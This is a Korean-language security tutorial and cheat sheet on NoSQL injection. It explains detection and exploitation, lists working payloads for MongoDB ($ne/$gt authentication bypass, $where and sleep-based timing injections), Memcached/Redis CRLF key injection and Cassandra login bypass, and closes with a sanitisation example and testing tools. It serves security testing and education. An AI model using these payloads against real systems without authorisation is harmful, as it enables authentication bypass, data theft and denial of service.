NoSQL Injection
Introduction
NoSQL Injection은 SQL을 사용하는 것으로 알려진 DBMS를 제외한 나머지 Database에 대한 Injection 공격입니다. 일반적으로 NoSQL 데이터베이스는 기존 SQL 데이터베이스보다 consistency check가 느슨합니다. NoSQL 데이터베이스는 relational constraints와 consistency check를 덜 요구하기 때문에 성능이나 확장에서의 이점이 큽지만 SQL 문법이 아닌 각각의 시스템의 쿼리 문법 등에 대한 Injection 공격은 동일하게 영향을 받습니다.
NoSQL: Not only SQL, Non-Relational Operational Database
그래서 대상이 굉장히 많은데, MongoDB 같은 Document Store 부터 Hadoop, Cassandra 등 Wide Column Store 그리고 Redis 같은 Key Value / Tuple Store 까지 많은 시스템이 대상이 됩니다. NoSQL 서비스의 리스트는 아래 링크에서 확인해주세요.
- https://hostingdata.co.uk/nosql-database/
Offensive techniques
Detect
확인할 수 있는 방법은 SQL Injection과 동일합니다. NoSQL에서 사용하는 문법이나 키워드 등을 이용하여 백엔드에 어떤 NoSQL이 연동되어 있는지 추측하고, 이를 기반으로 개발자가 의도한 쿼리를 벗어나도록 공격 구문을 만들어 수행할 수 있습니다.
Boolean-based
가장 대표적인 예시는 MongoDB에서 $ne(not equal), $gt(greater) 등을 이용하여 참/거짓을 유도하는 방법입니다. 만약 아래와 같은 로그인 요청이 있다고 가정한다면 이렇게 테스트해볼 수 있습니다.
POST /login HTTP/1.1
{"username": "userid", "password": "password"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
위 케이스들을 풀어서보면 {"username": {"$ne": null}, "password": {"$ne": null}}
기준으론 username이 null이 아니거나, password가 null이 아닌 경우로 MongoDB로 전달되고, MongoDB는 데이터 내 두 조건을 만족하는지 체크하고 통과시키기 때문에 만족되어 로그인에 성공하게 됩니다.
Time-based
sleep() 구문같이 딜레이를 지원하는 NoSQL의 경우 이러한 구문을 이용하여 Response가 도착하는 시간을 계산하여 Blind로도 식별할 수 있습니다. 다만 이러한 방식은 RCE와 혼동이 될 수 있기 때문에 만약 Blind NoSQL Injection을 찾았다면 RCE나 다른 취약점의 여부를 같이 체크하는 것이 좋습니다.
GET /findUser?userName=abcd';%20sleep(4000)'
Exploitation
SQL Injection과 마찬가지로 공격을 통해 NoSQL 구문을 통제할 수 있습니다. NoSQL이 서비스에 사용되는 부분에 따라서 인증 우회나 중요정보 탈취, 캐시 데이터 탈취 등으로 이어질 수 있습니다.
Bypass Authentication
{
"username": "admin",
"password": {
"$ne": "hitttt"
}
}
DoS
Source
Db.collection.find({
$where: function(){
Return (this.name == $userInput)
}
}
);
Attack
'; sleep(4000)'
More
위에서 이야기드렸듯이 NoSQL이 연동된 구간에 따라서 영향력은 넓은 범위로 확장될 수 있습니다. 기본적으론 해당 NoSQL 시스템에 대한 CRUD(Creat/Read/Update/Delete), 그리고 시스템에서 제공하는 기능에 따라서 서비스에 문제를 만들거나 시스템 탈취까지 이어질 수 있습니다.
Payload of Targets
MongoDB
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
{"$gt": ""}
[$ne]=1
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
Memcached/Redis
Set key
{
"username": "admin\r\nset injected 0 3600 10\r\n123456789012345678901234567890\r\n",
"password": "test"
}
Confused Key
{
"username": {
"admin",
"super-admin"
}
"password": "test"
}
Cassandra
Bypass Login
{
"username": "admin' ALLOW FILTERING; %00",
"password": "test"
}
{
"username": "admin'/*",
"password": "*/and pass>"
}
Defensive techniques
SQL Injection과 동일하게 사용자로부터 전달받는 값은 신뢰하지 않아야합니다. 그래서 사용자 입력 값을 그대로 NoSQL에 처리하는 경우 sanitize나 nosql에 대한 protection 로직을 수행한 후 값을 넘겨줘야 합니다.
var sanitize = require('mongo-sanitize');
app.post('/user', function (req, res) {
var query = {
username: sanitize(req.body.username),
password: sanitize(req.body.password)
}
db.collection('users').findOne(query, function (err, user) {
console.log(user);
});
});
Tools
- ZAP - ActiveScan Alpha Rule(NoSQL Injection - MongoDB)
- Burpsuite - NoSQLi Scanner
- https://github.com/codingo/NoSQLMap
- https://github.com/digininja/nosqlilab
Articles
- https://www.hahwul.com/2016/01/12/web-hacking-nosql-injection-mongodb/
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection